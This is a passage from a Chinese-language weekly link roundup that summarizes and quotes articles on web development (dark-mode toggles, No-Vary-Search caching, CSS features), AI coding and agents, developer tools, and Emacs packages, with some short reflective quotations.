id="080A86DB-A41A-4D90-A852-8D1958177756"><a href="#080A86DB-A41A-4D90-A852-8D1958177756"><a href="https://tylergaw.com/blog/color-scheme-browser-native-control/">Browsers Should Have a Native Control for Per-Site Color Scheme</a> by Tyler Gaw</a></h3> <div class="outline-text-3" id="text-080A86DB-A41A-4D90-A852-8D1958177756"><p> 有的网站支持 light / dark mode,有的是基于系统自動切換,有的提供切換入口让用户自己决定。但入口的实現往往有很多不同,有的用下拉框,有的是单个按纽,有的是文字,有的是图标…每个网站的实現不同,用户可能每次都要找找才能完成設置。這个功能基本所有网站都用到,似乎由統一做会更好,使得交互統一,形成規范。 </p> <p> 作者的文字还挺幽默的,让我不禁一笑: </p> <blockquote> <p> 拥有多种主题(至少是亮色和暗色)的网站已经非常普及,感觉已成为标准。但作为用户,必须在每个网站上寻找自定义配色方案控件是一件很痛苦的事情。有时它在页眉,有时在侧边栏,有时隐藏在设置菜单或页面中。<span class="underline">你们中有些「疯子」甚至把它放在极长页面的最底部,我觉得你们就是针对我。</span> </p> <p> [&hellip;] </p> <p> <span class="underline">顺便提一下:你的暗色方案背景太暗了,而前景又太亮。我的视网膜都要烧着了。</span> </p> <p> <a href="https://tylergaw.com/blog/color-scheme-browser-native-control/#:~:text=Sites,burning">Source</a> </p> </blockquote> <p> 如果你的网站实現了主題切換 (light/dark),请提供一个选項让用户可以切換,并不是每个人都愛用 dark mode。用户不想用 dark mode,有三个选择: </p> <ul class="org-ul"> <li>使用浏览器的閱读模式,但這会丟弃博客樣式。你精心设计的樣式读者懶得看,因为你强迫他只能用 dark mode,而且你的 dark mode 可能还很刺眼,读者的视网膜都要烧着了。</li> <li>用户修改系统的 light/dark mode 配置,让浏览器跟随系统切换,从而将网页恢复成 light mode。但这么操作也挺麻烦的,大部分读者不会去为了一个网页做这么多操作。</li> <li>关闭网站,不看了。</li> </ul> <p> 另外如果你提供了主题的切换按钮,请放在一个明显的地方,不要让用户找半天。 </p> <p> 除了主题切换按钮,我还发现有的网站会把滚动条设置的很不明显。滚动条本身可以提示读者当前的位置、閱讀的进度,也方便读者快速拖动滚动条去到页面其他位置。请不要隐藏滚动条,為了那么点好看不值得。 </p> </div> </div> <div id="outline-container-D6FB2491-8902-480B-8F55-C2B5D8956AB9" class="outline-3"> <h3 id="D6FB2491-8902-480B-8F55-C2B5D8956AB9"><a href="#D6FB2491-8902-480B-8F55-C2B5D8956AB9"><a href="https://csswizardry.com/2026/05/better-browser-caching-with-no-vary-search/">Better Browser Caching with No-Vary-Search</a> by Harry Roberts</a></h3> <div class="outline-text-3" id="text-D6FB2491-8902-480B-8F55-C2B5D8956AB9"><p> URL 参数不同不会触发頁面的緩存,例如: </p> <ul class="org-ul"> <li><code>?colour=red</code></li> <li><code>?colour=blue</code></li> </ul> <p> 這会返回不同的頁面。但有的参数是和返回內容无关的,例如: </p> <ul class="org-ul"> <li><code>?utm_source=google</code></li> <li><code>?utm_source=chatgpt</code></li> </ul> <p> 它們返回的頁面是一樣的,本來应该可以复用缓存,但因为参数不同而无法复用。新提出的 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/No-Vary-Search">No-Vary-Search header</a> 可以解决这个問題。对于上面的 <code>utm_source</code> ,设置 <code>No-Vary-Search: params=("utm_source")</code> 的 HTTP Response Header,就可以让浏览器忽略 <code>utm_source</code> 的参数差异,复用缓存。 </p> </div> </div> <div id="outline-container-5F04C166-D62C-4FFB-B1DA-865D0C2D8B68" class="outline-3"> <h3 id="5F04C166-D62C-4FFB-B1DA-865D0C2D8B68"><a href="#5F04C166-D62C-4FFB-B1DA-865D0C2D8B68">Others</a></h3> <div class="outline-text-3" id="text-5F04C166-D62C-4FFB-B1DA-865D0C2D8B68"><ul class="org-ul"> <li><p> <a href="https://www.joshwcomeau.com/animation/scroll-driven-animations/">Scroll-Driven Animations</a> by Josh W. Comeau </p> <p> 主要是関于 <code>animation-timeline: view()</code> 的使用,很不錯的文章。 </p> <p> 我在 <a href="album-wall.html">Album Wall</a> 頁面应用了這个特性,在手機上可以看到效果 (Firefox 還不支持),滾動頁面時可以留意一下。相関代碼見 <a href="my-blog-style-design.html#88470668-2C68-49BF-B533-5E6E0019E612">博客样式设计::animation</a>。 </p></li> <li><p> <a href="https://css-tip.com/speed-control/">Control the Speed of Infinite Animations</a> by Temani Afif </p> <p> ‌<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/animation-composition">animation-composition</a> 指定了当多个动画同时影响同一个属性时使用的复合操作,可以实現有趣的效果,例如在鼠标悬浮時加速動画 (在悬浮时,覆盖 <code>animation</code> 的值也能做到同样的事情)。 </p></li> <li><p> <a href="https://nik.digital/posts/compositing-blending">Compositing &amp; Blending</a> by Niklas </p> <p> 很不错的文章,解释了颜色混合的原理,对理解 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/mix-blend-mode">mix-blend-mode</a> 和 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/background-blend-mode">background-blend-mode</a> 的使用会有帮助。最后通过混合让边框「消失」的例子看起来很有用。 </p></li> <li><p> <a href="https://dev.to/aralroca/the-on2-bug-that-looked-like-clean-code-3556">The O(n^2) Bug That Looked Like Clean Code</a> by Aral Roca </p> <p> 使用 <code>.map</code> 、 <code>.filter</code> 、 <code>.includes</code> 時小心因為嵌套造成 <code>O(n^2)</code> 的時間复杂度。 </p></li> <li><a href="https://jadjoubran.io/blog/web-platform-influenced-by-libraries">9 Times the Web Platform Was Influenced by Libraries</a> by Jad Joubran</li> <li><p> <a href="https://www.jefftk.com/p/ai-is-breaking-two-vulnerability-cultures">AI is Breaking Two Vulnerability Cultures</a> by Jeff Kaufman </p> <p> AI 加速了漏洞的发現和修复,可能会改变當前的「漏洞文化」。 </p></li> <li><p> <a href="https://arialdomartini.github.io/pre-emptive-commit-comments">Pre-emptive Commit Messages</a> by Arialdo Martini </p> <p> Git 一般是先改動再提交,試試反過來,先提交,再改動。 </p></li> <li><p> <a href="https://sockpuppet.org/blog/2026/05/12/emacsification/">The Emacsification of Software</a> by Thomas and Erin </p> <p> AI 让人可以像定制 Emacs 一樣定制那些滿足自己具體需求的软件。 </p></li> <li><a href="https://jvns.ca/blog/2026/05/02/testing-vue-components-in-the-browser/">Testing Vue components in the browser</a> by Julia Evans</li> <li><a href="https://jvns.ca/blog/2026/05/15/moving-away-from-tailwind--and-learning-to-structure-my-css-/">Moving away from Tailwind, and learning to structure my CSS</a> by Julia Evans</li> <li><a href="https://arman-bd.hashnode.dev/i-left-port-22-open-on-the-internet-for-54-days-here-s-who-showed-up">I Left Port 22 Open on the Internet for 54 Days. Here's Who Showed Up.</a> by Arman Hossain</li> <li><p> <a href="https://en.liujiacai.net/2026/05/16/bun-rust-port/">My Thoughts on Bun's Rust Rewrite</a> by Jiacai Liu </p> <blockquote> <p> 软件工程中有一条基本原则: <b>你不理解的代码不应在生产环境中运行。</b>这并非因为它一定存在 bug,而是因为一旦出现故障,你将无从下手排查。这条原则并非保守主义 ⸺ 而是可维护性的基准。 </p> <p> <a href="https://en.liujiacai.net/2026/05/16/bun-rust-port/#:~:text=There%27s%20a,maintainability">Source</a> </p> </blockquote> <blockquote> <p> 一个没人能搞懂的系统,并不意味着它没有漏洞⸺ 这意味着当漏洞出现时,没人知道原因。凌晨 3 点发生生产环境故障时,这两者之间的区别就变得再清楚不过了。 </p> <p> 这才是此次重写背后真正的技术赌注 ⸺ 不是 Zig 与 Rust 之争,而是由 AI 生成的、未经审核的代码能否在生产环境中长期维护。 </p> <p> <a href="https://en.liujiacai.net/2026/05/16/bun-rust-port/#:~:text=A%20system%20no,environments">Source</a> </p> </blockquote></li> <li><p> <a href="https://tannerlinsley.com/posts/projecting-react">Projecting React</a> by Tanner Linsley </p> <p> <a href="https://tanstack.com/start/latest">TanStack Start</a> 的作者嫌 React 太臃肿了,花一天時間用 LLM 做了 <a href="https://github.com/TanStack/redact">TanStack/redact</a> ⸺ React 的另一种逻辑方案,具有 100% 的 API 兼容性,但实现更简单,从而带来更小的包体积和更好的性能。 </p> <blockquote> <p> 我反复想到的一个比喻是 Linux 发行版。 </p> <p> 当人们使用「分叉(fork)」这个词时,有时会暗示存在一个「真正的」Linux,但实际上并没有。只有一个内核, 然后有数百个发行版将该内核投影成其用户想要的任何形态 ⸺ Debian、Arch、Alpine、NixOS,或者运行在你路由器上的任何系统。没有人认为 Arch 的存在会伤害 Linux,这才是关键所在。 </p> <p> 歌曲的混音版也是同样的道理。有一首原曲,然后有衍生编曲,有时人们反而更喜欢衍生版本。这并没有剥夺原曲的任何东西,只是增加了原曲的可能性。 </p> <p> <span class="underline">我认为未来几年的 Web 开发会比任何人预期的更像发行版和混音版。</span>人们将围绕他们实际使用的功能,构建他们所依赖的库的专属投影,其中少数会像 vinext 那样作为公共产品发布。大多数则不会,这也没关系,因为当重新生成代码的成本很低时,底层的思想才是最重要的,而它们的任何一种表达形式都只是众多选项之一。 </p> <p> <a href="https://tannerlinsley.com/posts/projecting-react#:~:text=years-,The,many">Source</a> </p> </blockquote> <p> 这个观点和 <a href="https://sockpuppet.org/blog/2026/05/12/emacsification/">The Emacsification of Software</a> 相近。 </p></li> <li><a href="https://neciudan.dev/whats-new-in-javascript">What's actually new in JavaScript (and what's coming next)</a> by Neciu Dan</li> <li><p> <a href="https://www.nicbarker.com/virtual-scrolling">Virtual Scrolling</a> </p> <p> 虛拟滾動的可視化,很直观。 </p></li> <li><p> <a href="https://ishadeed.com/article/range-syntax/">Media Queries Range Syntax</a> by Ahmad Shadeed </p> <p> 当需要在小于 <code>300px</code> 的寬度设置一个媒体查询断点,你会不会想一阵才知道应该用 <code>min-width</code> 还是 <code>max-width</code> ?是 <code>max-width: 300px</code> 还是 <code>max-width: 299px</code> ? </p> <p> 用 Range Syntax 就不用想那么多, <code>width &lt; 300px</code> 就好了,清晰易懂。 </p></li> <li><p> <a href="https://frontendmasters.com/blog/css-n-of-selectors-for-conditional-validation/">CSS `n of` Selectors for Conditional Validation</a> by Preethi Sam </p> <p> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Selectors/:nth-child">:nth-child()</a> 的 <code>of &lt;selector&gt;</code> 語法在表单校驗场景的示例。 </p></li> </ul> </div> </div> </div> <div id="outline-container-597130A7-465D-47E2-9149-98A27CF2116C" class="outline-2"> <h2 id="597130A7-465D-47E2-9149-98A27CF2116C"><a href="#597130A7-465D-47E2-9149-98A27CF2116C">AI Related</a></h2> <div class="outline-text-2" id="text-597130A7-465D-47E2-9149-98A27CF2116C"></div> <div id="outline-container-FBB13132-0806-4D2F-AC1D-A68E651B7607" class="outline-3"> <h3 id="FBB13132-0806-4D2F-AC1D-A68E651B7607"><a href="#FBB13132-0806-4D2F-AC1D-A68E651B7607">Article</a></h3> <div class="outline-text-3" id="text-FBB13132-0806-4D2F-AC1D-A68E651B7607"><ul class="org-ul"> <li><p> <a href="https://wil.to/posts/googles-prompt-api/">Google’s Prompt API</a> by Mat Marquis </p> <blockquote> <p> 一旦设备上安装了模型,根据规范,<span class="underline">您访问的任何网站都无需请求权限即可向该模型发送提示,并可随心所欲地处理响应结果。</span>再强调一次,如果您使用的是 Chrome 浏览器,Gemini Nano 就会 <b>驻留</b> 在您的设备上;即使您将其卸载,它也会再次出现,除非您开始以普通网络用户无法做到的方式拔掉线缆。简而言之:<span class="underline">您的设备上现在运行着一个大型语言模型(LLM),您访问的任何网站都能利用它,并调用其所需的任何处理资源。</span>谷歌 ⸺ 这家因涉及侵犯隐私和数据收集中的欺骗行为的诉讼已支付数十亿美元和解金的公司 ⸺ 却表示大家无需担心。 </p> <p> <a href="https://wil.to/posts/googles-prompt-api/#:~:text=Once,it,-%2E">Source</a> </p> </blockquote> <p> 這也太流氓了!没什麼理由繼續用 Chrome 了,可以試試 <a href="https://zen-browser.app/">Zen</a>、<a href="https://vivaldi.com/">Vivaldi</a>。 </p></li> <li><p> <a href="https://simonwillison.net/2026/Apr/30/zig-anti-ai/">The Zig project's rationale for their firm anti-AI contribution policy</a> by by Simon Willison </p> <p> Zig 强烈抵制在代碼贡献中使用 AI,哪怕是用 AI 进行母語翻译。 </p></li> <li><p> <a href="https://borretti.me/article/coarse-is-better">Coarse is Better</a> by Fernando </p> <blockquote> <p> <span class="underline">旧模型之所以美丽且引人入胜,是因为那些不完美、模糊、错误和矛盾创造了小小的缝隙,</span><span class="underline">让你的想象力可以为艺术注入生命。</span><span class="underline">这些图像不是固定、静态的东西:它们可以演变成无限可能。</span> </p> <p> 至于新模型 ⸺ 我还需要说完这句话吗?它们太精确、分辨率太高,以至于无法创造抽象、多面的事物,只能制造具体、死板的东西。 </p> <p> <a href="https://borretti.me/article/coarse-is-better#:~:text=What%20are,again">Source</a> </p> </blockquote></li> <li><p> <a href="https://simonwillison.net/2026/May/6/vibe-coding-and-agentic-engineering">Vibe coding and agentic engineering are getting closer than I’d like</a> by Simon Willison </p> <blockquote> <p> 所以我意识到,比起测试和文档的质量,我更重视的是有人真正使用过这个东西。如果你有一个「vibe coded」的东西,并且你在过去两周每天都在使用它,那对我来说比你刚刚吐出来、几乎没有被使用过的东西更有价值。 </p> <p> <a href="https://simonwillison.net/2026/May/6/vibe-coding-and-agentic-engineering/#:~:text=So%20I,exercised">Source</a> </p> </blockquote> <blockquote> <p> 如果你每天能从写 200 行代码提升到写 2000 行代码,会有什么别的东西崩溃?事实证明,整个软件开发生命周期都是围绕着「写几百行代码需要一天」这种观念设计的。而现在不再是这样了。 </p> <p> <a href="https://simonwillison.net/2026/May/6/vibe-coding-and-agentic-engineering/#atom-everything:~:text=If%20you%20can,doesn%E2%80%99t">Source</a> </p> </blockquote></li> <li><p> <a href="https://mattstromawn.com/writing/expansion-artifacts/">Expansion artifacts</a> by Matt Ström-Awn </p> <blockquote> <p> 压缩总会永久改变数据。常见格式(JPG、MP3、MP4)会缓慢且温和地改变内容:通常需要经过数百次的保存、分享和重新上传,工具产生的痕迹,即所谓的压缩伪影 ,才会变得明显。<a href="https://www.youtube.com/watch?v=jjhomJ04S18">多次重新保存 JPG</a> 它会变得方块化和褪色;<a href="https://parkerhiggins.net/2015/10/mad-generation-loss/">反复迭代 MP3</a> 音乐中会渗出金属感;<a href="https://www.youtube.com/watch?v=icruGcSsPp0">将 YouTube 视频重新上传一千次</a> 最后你会得到一个画面糊状、音频难以辨识的混乱产物。 </p> <p> <a href="https://mattstromawn.com/writing/expansion-artifacts/#:~:text=1-,Compression,audio">Source</a> </p> </blockquote> <blockquote> <p> LLM 是对其训练数据的有损压缩,而训练数据本身又是对可用数据的有损抽样。 </p> <p> <a href="https://mattstromawn.com/writing/expansion-artifacts/#:~:text=LLMs%20are%20a%20lossy%20compression%20of%20their%20training%20data%2C%20which%20is%20itself%20a%20lossy%20sample%20of%20all%20the%20data%20available%20to%20it%2E">Source</a> </p> </blockquote> <p> 而人和 LLM 又基於壓縮後的數據進行擴展,這些擴展的數據,可能又被用做訓練,反覆的經歷壓縮擴展,最後一切都失真了。 </p></li> <li><p> <a href="https://nooneshappy.com/article/appearing-productive-in-the-workplace/">Appearing Productive in The Workplace</a> by No One's Happy </p> <blockquote> <p> 只有当你能确切验证结果时,才去使用这个工具。永远不要向模型寻求确认;这个工具会附和所有人,而毫无代价的赞同,是一文不值的。 </p> <p> <a href="https://nooneshappy.com/article/appearing-productive-in-the-workplace/#:~:text=Use%20the%20tool%20where%20you%20can%20verify%20precisely%20what%20it%20produces%2E%20Never%20ask%20a%20model%20for%20confirmation%3B%20the%20tool%20agrees%20with%20everyone%2C%20and%20an%20agreement%20that%20costs%20the%20agreer%20nothing%20is%20worth%20nothing">Source</a> </p> </blockquote></li> <li><p> <a href="https://tw93.fun/2026-05-01/ai-visibility.html">你不知道的 GEO:AI 可见性的原理、实践与取舍</a> by Tw93 </p> <p> GEO 是 Generative engine optimization,即生成式引擎优化,让 LLM 在搜信息時更容易檢索到你的內容。文章分享了一些相関經驗。 </p></li> <li><p> <a href="https://www.terezatizkova.com/writing/software-abundance">Software is becoming marketing</a> by Tereza Tizkova </p> <blockquote> <p> <b>如果你是一名软件工程师:</b>欢迎来到非技术人员多年来一直在经历的世界。<span class="underline">准备好迎接那些经验不如你的人对你指手画脚、评估你的工作并质疑你的决定吧。</span>你的选择是:<span class="underline">要么成为绝对的最强者,</span><span class="underline">要么将过硬的技术能力与其他能力结合起来……比如设计、分发、品牌或行业专业知识。</span><span class="underline">最糟糕的处境是仅仅精通软件开发而别无长处。</span> </p> <p> <b>如果你不是软件工程师:</b>你现在也可以构建产品了。<span class="underline">但编写代码从来都不是最难的部分,最难的是品味、分发渠道以及创造出人们真正想要的东西。</span>这一点从未改变。 </p> <p> <a href="https://www.terezatizkova.com/writing/software-abundance#:~:text=If%20you%20are,changed">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.langchain.com/blog/the-anatomy-of-an-agent-harness">The Anatomy of an Agent Harness</a> </p> <p> Agent = Model + Harness (智能體 = 大模型 + 框架) </p> <p> Harness 負責补充 Model 缺失的能力。If you're not the model, you're the harness. </p> <p> 文章总結了 Harness 主要做的事。 </p></li> <li><p> <a href="https://larsfaye.com/articles/agentic-coding-is-a-trap">Agentic Coding is a Trap</a> by Lars Faye </p> <blockquote> <p> <span class="underline">您所表达的往往并非您真正想表达的意思</span> ,而大语言模型会用假设(或幻觉)来填补歧义,这导致了:更多的审查、更多的代理修订、消耗更多的 Token,以及与创作内容之间更多的脱节。反之,即便您写出了有史以来最漂亮、无歧义且结构完美的提示词,LLM 仍可能输出一个凭空捏造的方法,因为它本质上是一个「预测下一个 Token」的引擎,而不是编译器。<span class="underline">您不能指望用概率系统取代确定性系统后还能实现零歧义。</span> </p> <p> <a href="https://larsfaye.com/articles/agentic-coding-is-a-trap?ck_subscriber_id=3312975854#:~:text=What%20you,ambiguity,-%2E">Source</a> </p> </blockquote> <blockquote> <ul class="org-ul"> <li>我从不生成超过我单次能审阅的代码量。如果内容过多无法审阅,我会放慢速度并拆分任务,在必要时手动重构,以确保对最终结果有全面的理解。</li> <li>我从不要求大语言模型或智能体去实现我从未做过或无法独立完成的事情,除非纯粹是为了学习或教程目的(且通常在完成后会将其丢弃)。</li> </ul> <p> <a href="https://larsfaye.com/articles/agentic-coding-is-a-trap?ck_subscriber_id=3312975854#:~:text=I%20never,afterwards%29%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://blog.cloudflare.com/zh-cn/project-think/">Project Think:在 Cloudflare 上构建下一代 AI 智能体</a> </p> <blockquote> <p> 我们见证了 AI 智能体发展的三个时期: </p> <p> <b>第一个时期主要是聊天机器人。</b>它们无状态、被动响应且比较脆弱。每次对话都是从头开始,没有记忆、没有工具,也无法执行任何操作。这让它们能够回答问题,但也将它们的功能限制在只能回答问题。 </p> <p> <b>第二个时期是编码智能体。</b>它们有状态、会使用工具,且功能远比聊天机器人更强大,例如 Pi、Claude Code、OpenClaw 和 Codex。这些智能体可以读取代码库、编写代码、执行代码并进行迭代。这证明,配备适当工具的 LLM 可以成为一台通用计算机,但它们只能在笔记本电脑上运行,供单个用户使用,且无法保证持久性。 </p> <p> <b>如今,我们进入到第三个时期:智能体作为基础设施。</b>它们具备持久化、分布式、结构安全、无服务器的特点。这些智能体运行在互联网上,经历故障后仍可运行,闲置时不产生任何成本,并通过架构而非行为来确保安全性。任何开发人员均可构建并部署智能体,服务于任意数量的用户。 </p> <p> <a href="https://blog.cloudflare.com/zh-cn/project-think/#:~:text=%E6%88%91%E4%BB%AC%E8%A7%81%E8%AF%81,%E7%94%A8%E6%88%B7,-%E3%80%82">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.epicproduct.engineer/the-last-software-engineer">The Last Software Engineer</a> by Kent C. Dodds </p> <blockquote> <p> 所以,让我们把时间快进一点。让我们一直走到 AI 接管了我们目前作为软件开发者所创造的所有价值的那一刻,然后往回退一步。 </p> <p> 「最后的软件工程师」能提供的最后一项有价值的东西是什么? </p> <p> 不是敲代码。 </p> <p> 不是选择库。 </p> <p> 甚至不是设计实现方案。 </p> <p> 最后一项有价值的东西是 <b>判断力</b> ⸺ 决定什么值得被实现,哪些约束绝不能被违反,哪些权衡是可以接受的,以及什么样的损害会让成功变得毫无意义。 </p> <p> 换句话说,最后的软件工程师不仅仅知道要构建什么。 </p> <p> 最后的软件工程师知道 <b>应该</b> 构建什么。 </p> <p> <a href="https://www.epicproduct.engineer/the-last-software-engineer?#:~:text=So%2C%20let%27s,built">Source</a> </p> </blockquote></li> </ul> </div> </div> <div id="outline-container-1FD7DA65-6EE0-4735-AD37-ED6C23F2CC0A" class="outline-3"> <h3 id="1FD7DA65-6EE0-4735-AD37-ED6C23F2CC0A"><a href="#1FD7DA65-6EE0-4735-AD37-ED6C23F2CC0A">Skills</a></h3> <div class="outline-text-3" id="text-1FD7DA65-6EE0-4735-AD37-ED6C23F2CC0A"><ul class="org-ul"> <li><p> <a href="https://github.com/forrestchang/andrej-karpathy-skills">forrestchang/andrej-karpathy-skills</a> </p> <p> A single CLAUDE.md file to improve Claude Code behavior, derived from Andrej Karpathy's observations on LLM coding pitfalls. </p></li> <li><p> <a href="https://github.com/nicobailon/visual-explainer">nicobailon/visual-explainer</a> </p> <p> 一个将复杂的终端输出转换为格式化好的 HTML 页面的 Skill。 </p></li> <li><p> <a href="https://github.com/mattpocock/skills?ck_subscriber_id=3312975854">mattpocock/skills</a> </p> <p> Skills For Real Engineers. </p></li> </ul> </div> </div> <div id="outline-container-6D724D90-F047-46A6-A096-710D649386A7" class="outline-3"> <h3 id="6D724D90-F047-46A6-A096-710D649386A7"><a href="#6D724D90-F047-46A6-A096-710D649386A7">Tools</a></h3> <div class="outline-text-3" id="text-6D724D90-F047-46A6-A096-710D649386A7"><ul class="org-ul"> <li><p> <a href="https://github.com/multica-ai/multica">multica-ai/multica</a> </p> <p> The open-source managed agents platform. Turn coding agents into real teammates — assign tasks, track progress, compound skills. </p></li> <li><p> <a href="https://github.com/nexu-io/open-design">nexu-io/open-design</a> </p> <p> Local-first, open-source alternative to Anthropic's Claude Design. </p></li> <li><p> <a href="https://github.com/vercel-labs/agent-browser">vercel-labs/agent-browser</a> </p> <p> Browser automation CLI for AI agents </p></li> <li><p> <a href="https://github.com/comfy-org/ComfyUI">Comfy-Org/ComfyUI</a> </p> <p> The most powerful and modular diffusion model GUI, api and backend with a graph/nodes interface. </p></li> </ul> </div> </div> </div> <div id="outline-container-E1859D10-790C-4716-BD1A-EF16EA270592" class="outline-2"> <h2 id="E1859D10-790C-4716-BD1A-EF16EA270592"><a href="#E1859D10-790C-4716-BD1A-EF16EA270592">Tool | Library</a></h2> <div class="outline-text-2" id="text-E1859D10-790C-4716-BD1A-EF16EA270592"><ul class="org-ul"> <li><p> <a href="https://github.com/csstools/sanitize.css">csstools/sanitize.css</a> </p> <p> A best-practices CSS foundation. </p></li> <li><p> <a href="https://animejs.com/">anime.js</a> </p> <p> JavaScript 動画引擎,首頁動画挺酷的。 </p></li> <li><p> <a href="https://www.npmjs.com/package/web-features-cli?activeTab=readme">web-features-cli</a> </p> <p> 一款用于查找 Web 平台特性的命令行工具。可以直接在终端中按关键词搜索、检查 Baseline 状态、查找 MDN 文档、规范、浏览器漏洞、调查结果等。 </p></li> <li><p> <a href="https://franktisellano.github.io/datatype/">datatype</a> </p> <p> 可以渲染图表的字體。 </p></li> <li><p> <a href="https://github.com/html-to-text/node-html-to-text">html-to-text/node-html-to-text</a> </p> <p> HTML to text converter. </p></li> <li><p> <a href="https://pnpm.io/blog/releases/11.0">pnpm 11.0</a> </p> <p> pnpm 发布 11.0 了,默认设置 <a href="https://pnpm.io/settings#minimumreleaseage">minimumReleaseAge</a> 为 1 天 (另见:<a href="48.html#4A5532FC-BA44-4734-8297-0688E97BB79F">Zine#48::We should all be using dependency cooldowns by William Woodruff</a>);新增了原生的发布流 (<code>pnpm publish</code>, <code>login</code> &hellip;)。 </p></li> <li><p> <a href="https://github.com/vercel-labs/portless">vercel-labs/portless</a> </p> <p> portless 可以让 <code>localhost:3000</code> 变成 <code>myapp.localhost</code> (或其他名字)。<a href="https://portless.sh/why">Why?</a> </p></li> <li><p> <a href="https://github.com/codse/animata">Animata</a> </p> <p> 一些封裝了動画的 React 組件,是一个动画和效果的集合,可以借鉴实現。 </p></li> <li><p> <a href="https://github.com/opentypejs/opentype.js">opentype.js</a> </p> <p> Read and write OpenType fonts using JavaScript. </p></li> <li><p> <a href="https://trees.software">@pierre/trees</a> </p> <p> An open source file tree rendering library. 文件树渲染库,功能丰富。 </p></li> <li><p> <a href="https://bendansby.com/apps/stylebop.html">StyleBop</a> </p> <p> A visual CSS editor for Mac. Browse your stylesheets as node diagrams, edit variables, and write code — all in one place. </p></li> </ul> </div> </div> <div id="outline-container-FBADE8BA-F315-40D0-B724-34AD0C3DB7F0" class="outline-2"> <h2 id="FBADE8BA-F315-40D0-B724-34AD0C3DB7F0"><a href="#FBADE8BA-F315-40D0-B724-34AD0C3DB7F0">Emacs</a></h2> <div class="outline-text-2" id="text-FBADE8BA-F315-40D0-B724-34AD0C3DB7F0"><ul class="org-ul"> <li><p> <a href="https://nullprogram.com/blog/2026/04/26/">I have officially retired from Emacs</a> by Chris Wellons </p> <p> Chirs Wellons 的 <a href="https://github.com/emacs-elfeed/elfeed">Elfeed</a> 一直在用,感謝他的付出,很遺憾他離开 Emacs 了,祝好。 </p> <p> Elfeed 現在是 <a href="https://github.com/minad">minad</a> 接手,最近更新很頻繁,更新的功能還不錯。 </p></li> <li><p> <a href="https://github.com/agzam/remoto.el">agzam/remoto.el</a> </p> <p> Browse GitHub repos without cloning </p></li> <li><p> <a href="https://sachachua.com/blog/2026/04/what-s-in-the-emacs-newcomers-presets-theme/">What's in the Emacs newcomers-presets theme?</a> by Sacha Chua </p> <p> 截至 2026 年 2 月的 Emacs 开发版包含了一个 <code>newcomers-presets</code> 主题,可以通过启动画面启用,或使用 <code>M-x load-theme RET newcomers-presets RET</code> 启用。文章介紹了 <code>newcomers-presets</code> 都預設了什么。 </p> <p> see also: </p> <ul class="org-ul"> <li><a href="https://sachachua.com/blog/2026/04/working-on-the-emacs-newbie-experience/">Working on the Emacs newbie experience</a> by Sacha Chua</li> <li><a href="https://protesilaos.com/codelog/2026-04-30-emacs-decent-default-sacha-chua/">Emacs: decent defaults I shared with Sacha Chua</a> by Protesilaos</li> </ul></li> <li><p> <a href="https://github.com/dpassen/modus-flexoki">dpassen/modus-flexoki</a> </p> <p> <a href="https://stephango.com/flexoki">Flexoki</a> Themes implemented on top of Modus Themes. </p></li> <li><p> <a href="https://www.jamescherti.com/essential-emacs-packages/">Must-have Emacs Packages for Efficient Software Development and Text Editing</a> by James Cherti </p> <p> James Cherti 分享了一些他覚得好用的 pacakge,涉及了很多方面。 </p></li> <li><p> <a href="https://vannilla.org/write/1533394929/article.html">The Emacs's Gamegrid library #1</a> by Vannilla </p> <p> Emacs 中的 <code>gamegrid.el</code> 可以制作貪吃蛇等游戏,但 <code>gamegrid.el</code> 文档较少,作者分享了一些他的經驗。 </p></li> <li><a href="https://vannilla.org/write/1609258895/article.html">Emacs: writing a project.el backend</a> by Vannilla</li> <li><p> <a href="https://codeberg.org/jamesendreshowell/ramb">jamesendreshowell/ramb</a> </p> <p> Really Actually Make Backups。每当你保存指定的重要文件列表中的任何一个文件时,都创建一个备份文件。将这些极其谨慎、甚至有些过度的备份隐藏在你指定的目录中。 </p></li> <li><p> <a href="https://www.emacswiki.org/emacs/CarnivalMay2026">Emacs Carnival May 2026</a> </p> <p> 这期的主題是「May I recommend&hellip;」。 </p></li> <li><a href="https://protesilaos.com/codelog/2026-05-02-emacs-buffer-to-pdf-new-package/">Emacs: save any buffer as PDF (my new buffer-to-pdf package)</a> by Protesilaos</li> <li><p> <a href="https://codeberg.org/treflip/denote-wordcloud">treflip/denote-wordcloud</a> </p> <p> 可以在单独的缓冲区中显示可点击的 denote 关键词云及其出现频率。 </p></li> <li><p> <a href="https://www.reddit.com/r/emacs/comments/1sz6o25/i_built_an_orgmode_weekday_repeater_wd/">I built an org-mode weekday repeater, .+wd</a> </p> <p> 能让日期从周五跳到周一。 </p></li> <li><p> <a href="https://martinsos.com/posts/my-blog-in-elisp">Implementing a minimal evergreen blog in HTML and Emacs Lisp</a> by Martin </p> <p> 作者分享了他是如何用 Emacs 构建博客的。博客蛮簡洁的。 </p></li> </ul> </div> </div> <div id="outline-container-B097810D-C3B0-41EC-B48A-8B1909ACF5BB" class="outline-2"> <h2 id="B097810D-C3B0-41EC-B48A-8B1909ACF5BB"><a href="#B097810D-C3B0-41EC-B48A-8B1909ACF5BB">一些话 | 摘抄</a></h2> <div class="outline-text-2" id="text-B097810D-C3B0-41EC-B48A-8B1909ACF5BB"><ul class="org-ul"> <li><p> <a href="https://www.cnbc.com/video/2026/05/02/warren-buffetts-message-to-shareholders-and-partners-follow-the-golden-rule.html">Warren Buffett’s message to shareholders and partners: Follow the ‘Golden Rule’</a> </p> <blockquote> <p> 给追随多年的股东留下了一条「黄金法则」:你希望别人怎样对待你,就怎样对待别人。无论是做父母、做老板还是做投资人,巴菲特说,他没见过一个真正这样做事的人,是不快乐的。 </p> </blockquote></li> <li><p> <a href="http://ozark.hendrix.edu/~yorgey/forest/00FD/index.xml">To my students</a> by Brent A. Yorgey </p> <blockquote> <p> 我最初进入计算领域是因为思想的美感、创造的喜悦,以及构建工具来帮助人们并促进人际关系的可能性。我仍然相信这些东西,尽管似乎大多数行业并不相信。我写下这些是希望并深知你们也相信这些。有些话我想对你们说 ⸺ 